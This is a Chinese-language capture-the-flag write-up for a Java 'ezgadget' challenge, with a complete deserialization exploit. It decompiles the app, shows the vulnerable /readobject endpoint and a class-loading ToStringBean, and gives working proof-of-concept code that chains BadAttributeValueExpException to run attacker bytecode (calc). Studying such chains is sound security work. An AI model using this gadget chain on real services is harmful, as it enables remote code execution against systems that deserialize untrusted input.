环境配置
链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw
提取码:8do5
运行
java -jar ezgadget.jar
访问127.0.0.1:8888即可
是一个jar包,所以都是class文件,我这里是通过jd-gui
,反编译源码,之后放到IDEA的maven项目中,再将文件中的lib
包导入进去
File->Project Structrue->Libraries
复现
其实主要的文件就三个IndexController.java
,Tools.java
,ToStringBean.java
ToStringBean.java
package com.ezgame.ctf.tools;
import java.io.Serializable;
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}
该类继承了ClassLoader
,所以直接可以想到动态加载字节码,并且在toString()
方法中,看到了defineClass()
,之后try中又有个newInstance()
,所以只要控制ClassByte
的值,就可以任意代码执行。(defineClass直接加载字节码之前分析过不清楚可以看一下)
这里的ClassByte值就是我们需要执行命令的字节码文件,先构造一下。(Windows环境无法反弹shell,所以用calc代替了)
Payload.java
package com.ezgame.ctf;
import java.io.IOException;
public class Payload {
static {
try{
Runtime.getRuntime().exec(new String[]{"calc"});
} catch (IOException e){
e.printStackTrace();
}
}
}
执行命令生成.class文件
javac Payload.java
写好后这部分的构造代码为:
byte[] bytes= Files.readAllBytes(Paths.get("D:\\java\\CTF\\DongHuaBei\\src\\main\\java\\com\\ezgame\\ctf\\Payload.class"));
ToStringBean toStringBean = new ToStringBean();
Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
classByte.setAccessible(true);
classByte.set(toStringBean,bytes);
接着看控制器IndexController.java
package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}
当路由为/readobject
时,传参data,就会调用Tools类对其进行base64解密,之后字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,进行if判断name.equals("gadgets") && year == 2021
,之后调用objectInputStream.readObject();
,而在CC5中BadAttributeValueExpException
类中重写了readObject()
,可以调用toString()
类中通过构造方法修改val
的值,在通过 gf.get(“val”, null);传给valobj,最后在readObject
里调用valObj.toString();
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
所以构造这里需要构造val
的值,为toStringBean
,这样就能调用到他的toString()
中,这里需注意不能在实例化BadAttributeValueExpException
时,直接把把值赋给val
否则在readObject()
前就会执行toString,反序列化就无效了
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Sentiment");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
之后就是前边那段if判断了
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
Tools.java
package com.ezgame.ctf.tools;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
最后调用Tools
中的base64Encode
进行个base64编码即可
byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);
POC
package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import static com.ezgame.ctf.tools.Tools.base64Encode;
public class Exp {
public static void main(String[] args) throws Exception{
byte[] bytes= Files.readAllBytes(Paths.get("D:\\java\\CTF\\DongHuaBei\\src\\main\\java\\com\\ezgame\\ctf\\Payload.class"));
ToStringBean toStringBean = new ToStringBean();
Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
classByte.setAccessible(true);
classByte.set(toStringBean,bytes);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Sentiment");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);
}
}
最后传参时有个注意点,base编码后是存在加号
的,而浏览器会将加号
转义为空格,造成一些解析问题,所以传参前需要进行url编码
传参执行成功